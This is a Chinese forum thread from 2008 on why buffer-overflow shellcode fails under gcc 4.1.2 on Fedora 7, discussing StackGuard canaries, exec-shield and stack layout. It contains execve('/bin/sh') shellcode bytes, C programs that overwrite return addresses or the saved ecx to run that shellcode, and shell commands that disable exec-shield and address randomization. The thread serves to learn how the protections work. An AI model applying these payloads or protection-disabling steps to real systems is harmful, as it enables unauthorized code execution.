堆栈保护技术与gcc
作溢出攻击的时候发现很多shellcode都不能在FC7 with gcc 4.1.2下运运行,而能够在REDHAT 9 下跑谈跑通,查阅了一下关于堆栈保护技术的资料,发现了一下几种Stackguard、Stackshield、Formatguard、Formatguard、堆栈不可执行、数据段不可执行、增强的缓冲区溢出保护及内核MAC、硬件级别的保护等。面临的主要问题是gcc 4.1.2采用了什么保护技术?不会以补丁的形式打到gcc上,应该是写到源码里面了。
Stackguard、Stackshield比较通用,而且也有应用在gcc中的先例,而还有一个叫exec-shield的方式(不知道是不是和前面两种重复)确实应用在linux下面,通过
echo “0″ > /proc/sys/kernel/exec-shield
echo “0″ > /proc/sys/kernel/randomize_va_space
可以关闭exec-shield。
现在的问题是:
对于一个简单空主函数:
main()
{}
对应的汇编语句如下:
(gdb) disassemble main
Dump of assembler code for function main:
0x08048374 <main+0>: lea 0x4(%esp),%ecx
0x08048378 <main+4>: and $0xfffffff0,%esp
0x0804837b <main+7>: pushl0xfffffffc(%ecx)
0x0804837e <main+10>: push %ebp
0x0804837f <main+11>: mov %esp,%ebp
0x08048381 <main+13>: push %ecx
0x08048382 <main+14>: pop %ecx
0x08048383 <main+15>: pop %ebp
0x08048384 <main+16>: lea 0xfffffffc(%ecx),%esp
0x08048387 <main+19>: ret
End of assembler dump.
序幕:
0x08048374 <main+0>: lea 0x4(%esp),%ecx
0x08048378 <main+4>: and $0xfffffff0,%esp
0x0804837b <main+7>: pushl0xfffffffc(%ecx)
0x0804837e <main+10>: push %ebp
0x0804837f <main+11>: mov %esp,%ebp
0x08048381 <main+13>: push %ecx
收尾:
0x08048382 <main+14>: pop %ecx
0x08048383 <main+15>: pop %ebp
0x08048384 <main+16>: lea 0xfffffffc(%ecx),%esp
0x08048387 <main+19>: ret
与REDHAT 9(gcc版本3.2.2)的区别是:
(gdb) disassemble main
Dump of assembler code for function main:
0x080482f4 <main+0>: push %ebp
0x080482f5 <main+1>: mov %esp,%ebp
0x080482f7 <main+3>: sub $0x8,%esp
0x080482fa <main+6>: and $0xfffffff0,%esp
0x080482fd <main+9>: mov $0x0,%eax
0x08048302 <main+14>: sub %eax,%esp
0x08048304 <main+16>: leave
0x08048305 <main+17>: ret
End of assembler dump.
一个本质区别是gcc 4.1.2将ecx也压栈。
而stackguard机制简单介绍如下(stackshield也差不多,只不过将返回值存储在另外的一块内存空间中):
因为缓冲区溢出的通常都会改写函数返回地址,stackguard是个编译器补丁,它产生一个"canary"值(一个
单字)放到返回地址的前面,如果当函数返回时,发现这个canary的值被改变了,就证明可能有人正在试图进行缓冲区
溢出攻击,程序会立刻响应,发送一条入侵警告消息给syslogd,然后终止进程。"canary"包含:NULL(0×00), CR
(0×0d), LF (0×0a) 和 EOF (0xff)四个字 符,它们应该可以阻止大部分的字符串操作,使溢出攻击无效。一
个随机数canary在程序执行的时候被产生。所以攻击者不能通过搜索程序的二进制文件得到"canary"值。如果/dev/
urandom存在,随机数就从那里取得。否则,就从通过对当前时间进行编码得到。其随机性足以阻止绝大部分的预测攻
击。Immunix系统为采用stackguard编译的Red Hat Linux,但stackguard所提供的保护并非绝对安全,满足一些条件就
可以突破限制:如覆盖一个函数指针、可能存在的exit()或_exit()系统调用地址、GOT等。
Stackguard官方链接:http://immunix.org/
有个问题:是否是ecx中存储的就是这个canary?(有用gdb调试,打印出当时的ecx的内容为0x00000001),如果是的话我不覆盖canary是否能够成功的溢出?自己编了程序调试如下,思路主要是分别覆盖:
/*
* last.c for test on Fedora Core 7 with gcc 4.1.2 overflow
*/
#include<stdio.h>
static char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0"
"\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8"
"\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";
void main()
{
int *ret1=NULL;
int *ret2=NULL;
ret1 = (int *)&ret1+5;
ret2 = (int *)&ret2+4;
(*ret1) = (int)shellcode;
(*ret2) = (int)shellcode+4;
}
但是依然没有成功,执行结果什么也出现。
感觉无论gcc怎样保护堆栈,自己想编写一个程序溢出自己应该还是没问题的啊~~~
请教问题处出在什么位置,谢谢高手们~~~
[ 本帖最后由 ruger 于 2008-8-21 23:07 编辑 ] 我觉得这个很可能是操作系统的存储保护,而不是编译器做的。你的代码中的shellcode放在数据段中,这个段是不可执行的。当处理器从这种不可执行的页面中取指令的时候,就会发出Segmentation Fault的信号,中断程序的执行。
刚好前两天无聊,写个一段Helloword的代码。用那个试了一下,我觉得是上面的原因。#include<stdio.h>
#include<stdlib.h>
void print1(char *str);
void print2();
char shell_code[]=
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0"
"\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8"
"\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";
int main(int argc, char *argv[])
{
char buf={0};
int *p=(int *)(buf+8);
int i;
for(i=0;i<8;i++)
buf='b';
*p=(int *)print2; //这个可以正常调用
// *p=(int *)shell_code; //这个会报segmentation fault
printf("main: %p\n",*p);
print1(buf);
return 0;
}
void strcp(char *str1, char *str2)
{
int i=0;
while(str2!='\0'){
str1=str2;
i++;
}
str1='\0';
return;
}
void print1(char *str)
{
char buf;
strcp(buf,str);
printf("print1: %p\n",*((int *)(buf+8)));
return;
}
void print2()
{
printf("Hello, world!\n");
exit(0);
return;
}原帖由 ruger 于 2008-8-20 16:39 发表 http://linux.chinaunix.net/bbs/images/common/back.gif
作溢出攻击的时候发现很多shellcode都不能在FC7 with gcc 4.1.2下运运行,而能够在REDHAT 9 下跑谈跑通,查阅了一下关于堆栈保护技术的资料,发现了一下几种Stackguard、Stackshield、Formatguard、Formatguard ...
[ 本帖最后由 freearth 于 2008-8-20 21:17 编辑 ] 看我的贴子:http://bbs.chinaunix.net/thread-1244823-1-3.html 原帖由 ruger 于 2008-8-20 16:39 发表 http://linux.chinaunix.net/bbs/images/common/back.gif
作溢出攻击的时候发现很多shellcode都不能在FC7 with gcc 4.1.2下运运行,而能够在REDHAT 9 下跑谈跑通,查阅了一下关于堆栈保护技术的资料,发现了一下几种Stackguard、Stackshield、Formatguard、Formatguard ...
你贴的那段 gcc 4.1.2 产生的代码,利用欺骗而防止侵入的意思。
程序中侵入代码,经过溢出写返回地址,以为成功了,但是还有后着:还有一个返回地址在后面。
也就是说:有两重返回地址!利侵入代码最终无法达到目的 LZ:
你那个shellcode 是你写的? 如果你能编这样的shellcode,难道还看不出错在哪?
不知你的 ret1+5 和 ret2+4 是怎么推算出来的
回复 #2 freearth 的帖子
说的有道理,但是还是能够执行,但不是在主函数,是在子函数里面存在内存泄漏的情况,但仅仅是主函数存在问题:int main(int argc,char * argv[])
{
char buf;
if(argc>1) strcpy(buf,argv);
return 0;
}
貌似这样很难被溢出,不知道大家怎么个经验~~~
回复 #5 mik 的帖子
这段shellcode不是我自己写的,是一段通用的shellcode,相当于system(/usr/bin)吧,至于偏移量5和4,应该是算错了,个人认为应该是6和5,但是就算改成6和5也不行,就像什么也没执行一样。其实我是这么想的:gcc 4.1.2版本下与gcc 3.2.2最大的区别就是讲ECX寄存器压栈,而且%ecx与 0xfffffffc(%ecx)有相互验证的作用(或许这就是所谓的stack guard?),因此考虑分别覆盖 %ecx和0xfffffffc(%ecx)并让他们的内容之间差4,而且指向shellcode.
但是,经过gdb调试,发现经过指针赋值前后, %ecx和0xfffffffc(%ecx)所在的栈空间没有任何变化,%ecx通常是0x00000001。到目前位置,我自己实验得出的结论就是可以通过覆盖子函数的EIP来溢出程序,但是想通过修改主函数压栈的压入的寄存器空间来溢出程序,基本不大可能。因为现在还没有弄清楚,这个保护机制的原理,为什么不能更改%ecx与 0xfffffffc(%ecx)所在栈里的内容,gcc通过什么方式检查出来更改了?我想无非就是存储比对的方式吧?讲ECX的值预先存在某个位置(寄存器?内存?),然后在pop时做比较,然后忽略被修改的值并改回来?或者说任何想修改%ecx与 0xfffffffc(%ecx)的动作都被忽略了???
以下为序幕阶段压栈的寄存器:
0x0804837b <main+7>: pushl0xfffffffc(%ecx)
0x0804837e <main+10>: push %ebp
0x08048381 <main+13>: push %ecx
[ 本帖最后由 ruger 于 2008-8-21 23:08 编辑 ]
回复 #7 ruger 的帖子
不知道你有没有看我的那个贴子。偶google 了解一下Stackguard技术,大概和微软的cookie技术相类似。
canary 相当于 cookie
main:
leal 4(%esp), %ecx
andl $-16, %esp
pushl -4(%ecx)
pushl %ebp
movl %esp, %ebp
pushl %ecx
popl %ecx
popl %ebp
leal -4(%ecx), %esp
ret
我看不出 %ecx 有什么验证作用 原帖由 ruger 于 2008-8-21 23:06 发表 http://linux.chinaunix.net/bbs/images/common/back.gif
这段shellcode不是我自己写的,是一段通用的shellcode,相当于system(/usr/bin)吧,至于偏移量5和4,应该是算错了,个人认为应该是6和5,但是就算改成6和5也不行,就像什么也没执行一样。
其实我是这么想的: ...
原来你是想:
main:
leal 4(%esp), %ecx
andl $-16, %esp
pushl -4(%ecx)
pushl %ebp
movl %esp, %ebp
pushl %ecx <-------------- 在这里修改 ecx 值 ?
popl %ecx
popl %ebp
leal -4(%ecx), %esp <------- 这里变成你的 shellcode 地址 ??
ret
这样做就行了:
int main()
{
char *p = shellcode;
*((int *)(&p + 1)) = (int)(&p + 1); /* 改写 ecx */
return 0;
}
以上一条语句就可以写 pushl %ecx 中的 %ecx 值。
[ 本帖最后由 mik 于 2008-8-22 18:41 编辑 ]
页:
[1]